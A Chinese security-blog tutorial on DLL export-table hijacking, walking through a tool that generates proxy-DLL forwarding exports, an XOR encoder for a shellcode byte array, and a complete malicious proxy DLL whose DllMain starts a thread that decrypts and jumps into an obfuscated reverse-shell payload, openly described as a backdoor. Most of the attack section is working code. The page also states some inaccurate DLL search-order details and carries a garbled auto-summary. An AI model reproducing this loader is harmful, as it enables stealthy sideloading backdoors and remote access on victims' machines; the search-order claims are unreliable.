1.13 导出表劫持ShellCode加载

导出,劫持,shellcode,加载 · 浏览次数 : 123

小编点评

**内容摘要** 本文内容介绍了一种动态解密ShellCOde的实现方法,该方法可以用于解密各种ShellCOde编码的加密内容。 **方法概述** 该方法主要包括以下步骤: 1. 获取ShellCOde编码的加密密钥。 2. 解密ShellCOde编码的加密内容。 3. 反弹解密内容。 **主要代码** 以下代码片段展示了如何获取ShellCOde编码的加密密钥、解密内容和反弹解密内容的步骤: ```c // 获取ShellCOde编码的加密密钥。 DWORD Xor_Key; for (int i = 0; i < lstrlen(cCode); i++) { Xor_Key = Xor_Key * 4 + cCode[i]; } // 解密ShellCOde编码的加密内容。 XorEncodeDeCode(L"lyshark"); // 反弹解密内容。 __asm { mov eax, offset buf; jmp eax; } ``` **结论** 本文内容介绍了一种动态解密ShellCOde的实现方法,该方法可以用于解密各种ShellCOde编码的加密内容。

正文

Windows操作系统中,动态链接库DLL是一种可重用的代码库,它允许多个程序共享同一份代码,从而节省系统资源。在程序运行时,如果需要使用某个库中的函数或变量,就会通过链接库来实现。而在Windows系统中,两个最基础的链接库就是Ntdll.dllKernel32.dll

Ntdll.dll是Windows系统内核提供的一个非常重要的动态链接库,包含了大量的系统核心函数,如文件操作、进程和线程管理、内存操作等等。在进程启动时,操作系统会先加载Ntdll.dll,并将其映射到该进程的地址空间中。由于Ntdll.dll是如此重要,所以任何对其的劫持都是无效的。这也是为什么说在应用层下,无论什么程序都无法修改或替换Ntdll.dll的原因。

另一个常见的链接库是Kernel32.dll,它是Windows系统最基本的用户模式API之一。该库包含了大量的系统函数,如内存管理、进程和线程管理、文件操作、设备驱动程序管理等等。与Ntdll.dll不同的是,Kernel32.dll可以被劫持或替换。在程序启动时,操作系统会先将Ntdll.dll加载到进程地址空间中,然后将Kernel32.dll加载到内存中,并将其导出函数地址添加到进程的导出表中。在程序执行过程中,如果需要使用Kernel32.dll中的函数,则可以通过在导出表中查找函数的地址来实现。因此,对于除Ntdll.dll以外的其他链接库,理论上来说都是可以被劫持或替换的。

1.13.1 动态链接库加载顺序

当系统启动时,系统进程smss.exe会负责加载并初始化所有的系统服务和驱动程序。在此过程中,系统会先将一些常用的DLL文件预加载到内存中,以加快系统的启动速度。

这些常用的DLL文件的信息会被保存在注册表中的\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路径下。

这个注册表键值包含了一个列表,其中存储了操作系统预加载的DLL文件的名称和路径。当操作系统需要加载某个DLL时,它会先在这个列表中查找,如果找到了对应的DLL文件,就会直接从预加载的内存中加载这个DLL,而不是从磁盘上重新读取。预加载DLL的优点是可以加快系统的启动速度,因为预加载的DLL文件已经被缓存到内存中,可以直接从内存中读取,而不需要再次从硬盘中读取。这样可以避免由于磁盘读写速度较慢而导致的启动延迟。

读者需要注意,预加载的DLL文件仅包含了系统中一些常用的DLL文件,而不包括所有的DLL文件。当程序需要加载一个没有被预加载的DLL文件时,操作系统会从磁盘上读取这个DLL文件,并将其加载到内存中。这种情况下,DLL文件的加载顺序是按照程序需要的顺序来进行的。当一个程序需要多个DLL文件时,这些DLL文件的加载顺序是有先后顺序的,通常是从最基本的DLL文件开始,逐步向上层的DLL文件进行加载。这种顺序可以保证程序的正确性和稳定性。

程序需要加载某个DLL文件时,系统会按照如下顺序动态查找:

  • 1.首先查找应用程序自身目录,如果DLL文件存在于应用程序的目录下,则直接加载这个DLL文件。
  • 2.如果DLL文件不存在于应用程序的目录下,则系统会查找系统目录C:\Windows\System32C:\Windows\SysWOW64,如果DLL文件存在于系统目录下,则直接加载这个DLL文件。
  • 3.如果DLL文件既不存在于应用程序的目录下,也不存在于系统目录下,则系统会查找环境变量PATH所指定的路径。如果DLL文件存在于PATH所指定的路径中的任意一个目录下,则直接加载这个DLL文件。
  • 3.如果DLL文件还是没有被找到,则系统会尝试从注册表中查找DLL文件所对应的路径。这个过程是通过查找注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DLLDirectories下的子键完成的,这些子键包含了DLL文件所在的目录路径。
  • 4.如果在注册表中还没有找到DLL文件,则系统会在所有已加载的DLL文件中查找是否有该DLL文件的导入项。如果存在,则说明该DLL文件已经被其他DLL文件加载,系统会尝试使用已加载的DLL文件来满足当前程序的需要。
  • 5.如果前面的步骤都没有找到DLL文件,则系统会提示找不到所需的DLL文件,并终止当前进程的执行。

1.13.2 实现DLL劫持代码生成

根据上方描述,读者应该能发现一个问题,如果在某个lyshark.exe应用程序根目录下重命名一个与其所调用DLL相同名称的DLL,而把原始DLL文件更名为其他名称,当应用程序调用时则该调用将被我们自己的DLL所接管,当处理完时则把这个请求传递给原始DLL执行,此时原函数依然可以被执行,而我们就算做了一个中间商,我们则可以在调用之间增加自己的功能,以此来实现应用功能的劫持及插入;

要实现上述功能,则我们需要得到指定DLL模块中所有的导出函数名称及导出序号,并将其通过/EXPORT:%s=%s.%s,@%d的方式生成一个新的DLL文件,有了思路那么就开始实现吧;

首先需要做的是打开一个DLL文件,并定位到PIMAGE_NT_HEADERS头部,将头部指针返回给全局变量NtHeader存储,实现该功能的核心是通过ReadFile将文件读入内存,并通过PIMAGE_NT_HEADERS强转为指针类型,将该数据存储到全局变量内保存;

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>

PIMAGE_DOS_HEADER DosHeader = nullptr;
PIMAGE_NT_HEADERS NtHeader = nullptr;
DWORD FileBase = 0;

void OpenPeFile(LPCSTR FileName)
{
  HANDLE Handle = CreateFileA(FileName, GENERIC_READ, NULL,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (Handle == INVALID_HANDLE_VALUE)
    return;
  
  DWORD FileSize = GetFileSize(Handle, NULL);
  DWORD OperSize = 0;
  FileBase = (DWORD)new BYTE[FileSize];
  ReadFile(Handle, (LPVOID)FileBase, FileSize, &OperSize, NULL);

  // 获取DOS头并判断是不是一个有效的DOS文件
  DosHeader = (PIMAGE_DOS_HEADER)FileBase;
  if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    exit(0);

  // 获取 NT 头并判断是不是一个有效的PE文件
  NtHeader = (PIMAGE_NT_HEADERS)(FileBase + DosHeader->e_lfanew);
  if (NtHeader->Signature != IMAGE_NT_SIGNATURE)
    exit(0);
  
  CloseHandle(Handle);
}

接着需要实现一个地址转换功能以用于导出函数解析时使用,将RVA(相对虚拟地址)转换为FOA(文件偏移地址),RVA是相对于模块基址的偏移量,而FOA是相对于文件开头的偏移量,该函数的实现原理是遍历PE文件中所有的节(Section),找到包含给定RVA的节,并计算出相应的FOA。

首先获取PE文件中节表的指针,然后遍历所有节,对于每个节,计算该节的起始RVA和结束RVA,并判断给定的RVA是否在该节的地址范围内。如果找到包含给定RVA的节,则根据该节的信息计算出该RVA对应的FOA并返回。

DWORD RVAtoFOA(DWORD rva)
{
  auto SectionTables = IMAGE_FIRST_SECTION(NtHeader);
  WORD Count = NtHeader->FileHeader.NumberOfSections;
  for (int i = 0; i < Count; ++i)
  {
    DWORD Section_Start = SectionTables[i].VirtualAddress;
    DWORD Section_Ends = SectionTables[i].VirtualAddress + SectionTables[i].SizeOfRawData;
    if (rva >= Section_Start && rva < Section_Ends)
    {
      return rva - SectionTables[i].VirtualAddress + SectionTables[i].PointerToRawData;
    }
  }
  return -1;
}

有了前面的基础,我们就可以实现导出表劫持功能了,如下所示GenerateEAT则是一个导出文件生成工具,其传入一个DLL文件名,及原函数名前缀/劫持后名称,并自动生成一个可编译的DLL源程序,读者只需要拿到源程序进行编译即可得到一个导出表劫持DLL了,这段C代码实现原理如下所示;

  • 1.通过CreateFileAReadFile函数获取PE文件的内容,然后获取其DOS头和NT头。
  • 2.通过NT头数据目录中的导出表的虚拟地址,定位导出表的位置,并获取导出表的信息,包括导出函数数量、导出函数名称数量、函数地址表、函数名称表、函数名称序号表等。
  • 3.遍历导出函数名称表,获取每个导出函数的名称,并以该名称作为导出函数的别名,通过#pragma comment语句将导出函数别名和实际函数名映射到导出表中,从而实现对导出函数的劫持和代理。
  • 4.使用fwrite函数将生成的代理DLL的代码写入到新的DLL文件中,并使用fclose函数关闭文件句柄。
void GenerateEAT(char* FileName, char* OldDllName)
{
  DWORD rav = NtHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
  auto ExportTable = (PIMAGE_EXPORT_DIRECTORY)(RVAtoFOA(rav) + FileBase);

  DWORD NameCount = ExportTable->NumberOfNames;
  DWORD FunctionCount = ExportTable->NumberOfFunctions;

  DWORD* Addr_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfFunctions) + FileBase);
  DWORD* Name_Table = (DWORD*)(RVAtoFOA(ExportTable->AddressOfNames) + FileBase);
  WORD* Id_Table = (WORD*)(RVAtoFOA(ExportTable->AddressOfNameOrdinals) + FileBase);

  FILE* fp = fopen(FileName, "a+");
  char buf[8192] = { 0 };

  sprintf(buf, "// PowerBy:LyShark\n#include <stdio.h>\n#include <windows.h>\n\n");
  fwrite(buf, strlen(buf), 1, fp);

  for (DWORD i = 0; i < FunctionCount; ++i)
  {
    for (DWORD j = 0; j < NameCount; ++j)
    {
      if (i == Id_Table[j])
      {
        CHAR* Name = (CHAR*)(RVAtoFOA(Name_Table[j]) + FileBase);
        sprintf(buf, "#pragma comment(linker, \"/EXPORT:%s=%s.%s,@%d\") \n",Name, OldDllName, Name, i + 1);
        fwrite(buf, strlen(buf), 1, fp);
        _flushall();
        Sleep(20);
        printf("%s", buf);
        break;
      }
    }
  }
  sprintf(buf,
    "\nBOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\n"
    "{\n"
    " if (dwReason == DLL_PROCESS_ATTACH)\n"
    " {\n"
    "   DisableThreadLibraryCalls(hModule);\n"
    " }\n"
    " return TRUE;\n"
    "}\n");
  fwrite(buf, strlen(buf), 1, fp);
  _fcloseall();
}

编译工具并执行GenEAT.exe -d ./lyshark.dll -c ./lyshark.c -n old_lyshark执行后会生成lyshark.c文件,当读者传入参数是将自动生成lyshark.dll文件的导出表文件lyshark.c其劫持后名称为old_lyshark

int main(int argc, char* argv[])
{
    if (argc == 7)
    {
        if (!strcmp(argv[1], "-d") && !strcmp(argv[3], "-c") && !strcmp(argv[5], "-n"))
        {
            OpenPeFile(argv[2]);
            GenerateEAT(argv[4], argv[6]);
        }
    }
    return 0;
}

1.13.3 实现劫持ShellCode注入

有前面的导出表DLL生成功能,那么实现劫持就变得很容易了,为了能够演示这种劫持技术,此处我们需要自行生成一个lyshark.dll以及一个main.exe程序。

先来创建一个DLL并导出两个函数,然后创建主程序动态的加载这个DLL,此DLL程序只包含了几个简单的计算功能。

#include <Windows.h>

extern "C" int __declspec(dllexport)add(int x, int y)
{
  return x + y;
}

extern "C" int __declspec(dllexport)sub(int x, int y)
{
  return x - y;
}

extern "C" int __declspec(dllexport)mul(int x, int y)
{
  return x * y;
}

extern "C" int __declspec(dllexport)divs(int x, int y)
{
  return x / y;
}

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
  return true;
}

接着编译main.cpp程序并生成main.exe,生成程序后,将lyshark.dll放入同一个目录下即可,程序运行后会通过LoadLibrary加载lyshark.dll到自身,并通过GetProcAddress动态获取到addFun的函数地址,调用其函数实现加法计算;

#include <stdio.h>
#include <Windows.h>

typedef int(*lpAdd)(int, int);
typedef int(*lpSub)(int, int);
typedef int(*lpMul)(int, int);
typedef int(*lpDiv)(int, int);

int main(int argc, char *argv[])
{
  HINSTANCE DllAddr;
  lpAdd addFun;

  DllAddr = LoadLibrary("lyshark.dll");

  addFun = (lpAdd)GetProcAddress(DllAddr, "add");
  if (NULL != addFun)
  {
    int res = addFun(100, 200);
    printf("结果: %d \n", res);
  }

  FreeLibrary(DllAddr);
  system("pause");
  return 0;
}

当读者编译好这两段程序后,请将其放入到同级目录下,运行main.exe则会看到输出计算结果,如下图所示;

通过运行劫持程序GenEAT.exe则读者会看到如下图所示的输出,此时打开lyshark.c则是我们的劫持DLL源代码文件;

为了保证后门的稳定性,此处我们实现了XorEncodeDeCode函数,该函数的作用是对一个存储在变量buf中的ShellCode进行加密,并输出加密后的结果。

首先,代码定义了一个名为cCode的字符数组,并将变量StrPasswd的值复制到了这个数组中。然后,使用一个for循环遍历cCode数组中的每个字符,将其与Xor_Key的乘积相加,并将结果存储回Xor_Key中。这样就得到了一个动态计算的密钥。

接下来,代码使用一个for循环遍历buf数组中的每个字节,并将其与Xor_Key进行异或运算。异或运算可以实现简单的加密和解密操作,这里用它来加密buf数组中存储的ShellCode。每次进行异或运算后将数据输出。

#include <stdio.h>
#include <tchar.h>
#include <windows.h>

unsigned char buf[] =
"\xbf\x7f\x06\x7d\x30\xdb\xd9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x59\x31\x7e\x14\x03\x7e\x14\x83\xee\xfc\x9d\xf3\x81"
"\xd8\xee\xfc\x79\x19\x90\x75\x9c\x28\x82\xe2\xd4\x19\x12"
"\x60\xb8\x91\xd9\x24\x29\x9b\x22\xc7\xe6\x91\xfa\x53\x7a"
"\x0e\x33\xa4\xd7\x72\x52\x58\x2a\xa7\xb4\x61\xe5\xba\xb5"
"\xa6\xb3\xb1\x5a\x7a\x13\xb1\xf6\x6b\x10\x87\xca\x8a\xf6"
"\x83\x72\xf5\x73\x53\x06\x49\x7d\x84\x6d\x19\x65\x74\xfa"
"\xc2\xb5\x75\x2f\x77\x7c\x01\xf3\x31\xf4\xde\x80\xc3\xdc"
"\x2e\x69\xf2\x20\xfc\x54\x3a\xad\xfc\x91\xfd\x4e\x8b\xe9"
"\xfd\xf3\x8c\x2a\x7f\x28\x18\xac\x27\xbb\xba\x08\xd9\x68"
"\x5c\xdb\xd5\xc5\x2a\x83\xf9\xd8\xff\xb8\x06\x50\xfe\x6e"
"\x8f\x22\x25\xaa\xcb\xf1\x44\xeb\xb1\x54\x78\xeb\x1e\x08"
"\xdc\x60\x8c\x5f\x60\x89\x4e\x60\x3c\x1d\x82\xad\xbf\xdd"
"\x8c\xa6\xcc\xef\x13\x1d\x5b\x43\xdb\xbb\x9c\xd2\xcb\x3b"
"\x72\x5c\x9b\xc5\x73\x9c\xb5\x01\x27\xcc\xad\xa0\x48\x87"
"\x2d\x4c\x9d\x3d\x24\xda\xde\x69\x31\x9d\xb7\x6b\x42\x86"
"\x48\xe2\xa4\x98\x06\xa4\x78\x59\xf7\x04\x29\x31\x1d\x8b"
"\x16\x21\x1e\x46\x3f\xc8\xf1\x3e\x17\x65\x6b\x1b\xe3\x14"
"\x74\xb6\x89\x17\xfe\x32\x6d\xd9\xf7\x37\x7d\x0e\x60\xb7"
"\x7d\xcf\x05\xb7\x17\xcb\x8f\xe0\x8f\xd1\xf6\xc6\x0f\x29"
"\xdd\x55\x57\xd5\xa0\x6f\x23\xe0\x36\xcf\x5b\x0d\xd7\xcf"
"\x9b\x5b\xbd\xcf\xf3\x3b\xe5\x9c\xe6\x43\x30\xb1\xba\xd1"
"\xbb\xe3\x6f\x71\xd4\x09\x49\xb5\x7b\xf2\xbc\xc5\x7c\x0c"
"\x42\xe2\x24\x64\xbc\xb2\xd4\x74\xd6\x32\x85\x1c\x2d\x1c"
"\x2a\xec\xce\xb7\x63\x64\x44\x56\xc1\x15\x59\x73\x87\x8b"
"\x5a\x70\x1c\x3c\x20\xf9\xa3\xbd\xd5\x13\xc0\xbe\xd5\x1b"
"\xf6\x83\x03\x22\x8c\xc2\x97\x11\x9f\x71\xb5\x30\x0a\x79"
"\xe9\x43\x1f";

// 计算异或密钥对,并对ShellCode进行加解密
void XorEncodeDeCode(TCHAR* StrPasswd)
{
    TCHAR cCode[32] = { 0 };
    _tcscpy(cCode, StrPasswd);

    // 动态计算字符串生成密钥
    DWORD Xor_Key = 0;
    for (unsigned int x = 0; x < lstrlen(cCode); x++)
    {
        Xor_Key = Xor_Key * 4 + cCode[x];
    }

    // 加密ShellCode并输出
    int nLen = sizeof(buf) - 1;

    printf("unsigned char buf[] = \n\"");
    for (int count = 0; count < nLen; count++)
    {
        buf[count] = buf[count] ^ Xor_Key;
        printf("\\x%x", buf[count]);
        if (count % 15 == 0 && count != 0)
        {
            printf("\"\n\"");
        }
    }
    printf("\";\n");
}

int main(int argc, char *argv[])
{
    // 传入密钥加密数据
    XorEncodeDeCode("lyshark");

    system("pause");
    return 0;
}

代码使用printf 函数输出当前字节的十六进制表示形式,为了美观起见,代码在输出时每输出15个字节就插入一个换行符,使得输出的结果分行显示。同时,代码还在每行输出前后添加了一些字符串格式化符号,以便将输出的结果转换为一个C语言风格的数组定义,输出效果如下图所示;

根据上述代码,我们可以写出如下导出语法,读者需要将如下DLL生成为lyshark.dll文件,并将原始的DLL文件改名为old_lyshark.dll

#include <stdio.h>
#include <tchar.h>
#include <windows.h>

#pragma comment(linker, "/EXPORT:add=old_lyshark.add,@1") 
#pragma comment(linker, "/EXPORT:divs=old_lyshark.divs,@2") 
#pragma comment(linker, "/EXPORT:mul=old_lyshark.mul,@3") 
#pragma comment(linker, "/EXPORT:sub=old_lyshark.sub,@4")

unsigned char buf[] =
"\xfc\x3c\x45\x3e\x73\x98\x9a\x9a\x37\x67\xb7\x1d\x6a\x8a\xf2\x1a"
"\x72\x3d\x57\x40\x3d\x57\xc0\xad\xbf\xde\xb0\xc2\x9b\xad\xbf"
"\x3a\x5a\xd3\x36\xdf\x6b\xc1\xa1\x97\x5a\x51\x23\xfb\xd2\x9a"
"\x67\x6a\xd8\x61\x84\xa5\xd2\xb9\x10\x39\x4d\x70\xe7\x94\x31"
"\x11\x1b\x69\xe4\xf7\x22\xa6\xf9\xf6\xe5\xf0\xf2\x19\x39\x50"
"\xf2\xb5\x28\x53\xc4\x89\xc9\xb5\xc0\x31\xb6\x30\x10\x45\xa"
"\x3e\xc7\x2e\x5a\x26\x37\xb9\x81\xf6\x36\x6c\x34\x3f\x42\xb0"
"\x72\xb7\x9d\xc3\x80\x9f\x6d\x2a\xb1\x63\xbf\x17\x79\xee\xbf"
"\xd2\xbe\xd\xc8\xaa\xbe\xb0\xcf\x69\x3c\x6b\x5b\xef\x64\xf8"
"\xf9\x4b\x9a\x2b\x1f\x98\x96\x86\x69\xc0\xba\x9b\xbc\xfb\x45"
"\x13\xbd\x2d\xcc\x61\x66\xe9\x88\xb2\x7\xa8\xf2\x17\x3b\xa8"
"\x5d\x4b\x9f\x23\xcf\x1c\x23\xca\xd\x23\x7f\x5e\xc1\xee\xfc"
"\x9e\xcf\xe5\x8f\xac\x50\x5e\x18\x0\x98\xf8\xdf\x91\x88\x78"
"\x31\x1f\xd8\x86\x30\xdf\xf6\x42\x64\x8f\xee\xe3\xb\xc4\x6e"
"\xf\xde\x7e\x67\x99\x9d\x2a\x72\xde\xf4\x28\x1\xc5\xb\xa1"
"\xe7\xdb\x45\xe7\x3b\x1a\xb4\x47\x6a\x72\x5e\xc8\x55\x62\x5d"
"\x5\x7c\x8b\xb2\x7d\x54\x26\x28\x58\xa0\x57\x37\xf5\xca\x54"
"\xbd\x71\x2e\x9a\xb4\x74\x3e\x4d\x23\xf4\x3e\x8c\x46\xf4\x54"
"\x88\xcc\xa3\xcc\x92\xb5\x85\x4c\x6a\x9e\x16\x14\x96\xe3\x2c"
"\x60\xa3\x75\x8c\x18\x4e\x94\x8c\xd8\x18\xfe\x8c\xb0\x78\xa6"
"\xdf\xa5\x0\x73\xf2\xf9\x92\xf8\xa0\x2c\x32\x97\x4a\xa\xf6"
"\x38\xb1\xff\x86\x3f\x4f\x1\xa1\x67\x27\xff\xf1\x97\x37\x95"
"\x71\xc6\x5f\x6e\x5f\x69\xaf\x8d\xf4\x20\x27\x7\x15\x82\x56"
"\x1a\x30\xc4\xc8\x19\x33\x5f\x7f\x63\xba\xe0\xfe\x96\x50\x83"
"\xfd\x96\x58\xb5\xc0\x40\x61\xcf\x81\xd4\x52\xdc\x32\xf6\x73"
"\x49\x3a\xaa\x0\x5c";

// 动态解密ShellCOde
void XorEncodeDeCode(TCHAR *StrPasswd)
{
    TCHAR cCode[32] = { 0 };
    _tcscpy(cCode, StrPasswd);

    // 动态计算字符串生成密钥
    DWORD Xor_Key;
    for (unsigned int x = 0; x < lstrlen(cCode); x++)
    {
        Xor_Key = Xor_Key * 4 + cCode[x];
    }

    // 加密ShellCode并放入到原始空间中
    int nLen = sizeof(buf) - 1;
    for (int i = 0; i<nLen; i++)
    {
        buf[i] = buf[i] ^ Xor_Key;
    }
}

HANDLE MyhThread = NULL;

DWORD WINAPI MyRun(LPVOID pParameter)
{
    // 解密ShellCode
    XorEncodeDeCode(L"lyshark");

    // 执行反弹
    __asm
    {
        mov eax, offset buf;
        jmp eax;
    }

    /*
    __asm
    {
    lea eax, offset buf;
    push eax;
    ret;
    }
    __asm
    {
    mov eax, offset buf;
    _emit 0xFF;
    _emit 0xE0;
    }
    */
}

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        // 禁用DLL的DLL_THREAD_ATTACH和DLL_THREAD_DETACH通知
        DisableThreadLibraryCalls(hModule);

        MyhThread = ::CreateThread(NULL, 0, &MyRun, 0, 0, 0);
    }

    return TRUE;
}

至此程序运行后则会首先执行我们的ShellCode代码,然后在执行原函数完成动态调用的功能;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/3ee1efdc.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

与1.13 导出表劫持ShellCode加载相似的内容:

1.13 导出表劫持ShellCode加载

在`Windows`操作系统中,动态链接库`DLL`是一种可重用的代码库,它允许多个程序共享同一份代码,从而节省系统资源。在程序运行时,如果需要使用某个库中的函数或变量,就会通过链接库来实现。而在`Windows`系统中,两个最基础的链接库就是`Ntdll.dll`和`Kernel32.dll`。Ntdll.dll是Windows系统内核提供的一个非常重要的动态链接库,包含了大量的系统核心函数,如

Oracle 核心列信息查看与处理

Oracle 核心列信息查看与处理 背景 最近想对数据库表进行跨数据之间的比照 因为有一些自增列或者是时间戳的列不需要进行对比 后者是对比容易导致失真. 所以就准备选用其他方式进行一下处理. 本文主要是简单记录一下生成SQL的办法. 获取必要列作为select 的字段 SELECT LISTAGG

[粘贴]使用 Dumpling 导出数据

https://docs.pingcap.com/zh/tidb/stable/dumpling-overview#dumpling-%E4%B8%BB%E8%A6%81%E9%80%89%E9%A1%B9%E8%A1%A8 使用数据导出工具 Dumpling,你可以把存储在 TiDB 或 MySQ

Llama2-Chinese项目:2.1-Atom-7B预训练

虽然Llama2的预训练数据相对于第一代LLaMA扩大了一倍,但是中文预训练数据的比例依然非常少,仅占0.13%,这也导致了原始Llama2的中文能力较弱。为了能够提升模型的中文能力,可以采用微调和预训练两种路径,其中: 微调需要的算力资源少,能够快速实现一个中文Llama的雏形。但缺点也显而易见,

以效率为导向:用ChatGPT和HttpRunner实现敏捷自动化测试(二)

本篇文章将详细讲解一下我们团队内部在遇到业务痛点时如何利用Httprunner框架进行接口自动化测试的。当最近邂逅chatGPT后又是如何将二者结合起来,实现"敏捷"自动化测试的。

vue项目打包,解决静态资源无法加载和路由加载无效(404)问题

打包后的项目静态资源无法使用,导致页面空白 静态资源无法使用,那就说明项目打包后,图片和其他静态资源文件相对路径不对,此时找到config里面的index.js,在build模块下加入assetsPublicPath: './', 如下图所示, 在History模式下配合使用nginx运行打包后的项

Linux 提权-密码搜寻

本文通过 Google 翻译 Password Hunting – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。 导航 0 前言 1 密码搜寻 – 文件名和文件内容 1.1 寻找有趣的文件名 1.2 寻找有趣的

算法学习笔记(13): Manacher算法

# Manacher算法 > 形象的被译为**马拉车算法** 这个算法用于处理简单的回文字符串的问题。可以在 $O(n)$ 的复杂度内处理出每一个位置为中心的回文串的最长长度。 为了避免出现偶数长度的回文串,导致过多的分类讨论,我们预处理一下字符串。 例如:`jeefy` 我们可以预处理成 `^#j

python入门基础(13)--类、对象、全局函数,类内部调用

面向过程的编程语言,如C语言,所使用的数据和函数之间是没有任何直接联系的,它们之间是通过函数调用提供参数的形式将数据传入函数进行处理。 但可能因为错误的传递参数、错误地修改了数据而导致程序出错,甚至是崩溃。当需要修改或维护程序时要从程序提供的一堆数据中去寻找和修改它,要扩展函数的功能,只能重新建立一

[转帖]Oracle JDBC中的语句缓存

老熊 Oracle性能优化 2013-09-13 在Oracle数据库中,SQL解析有几种: 硬解析,过多的硬解析在系统中产生shared pool latch和library cache liatch争用,消耗过多的shared pool,使得系统不具有可伸缩性。 软解析,过多的软解析仍然可能会导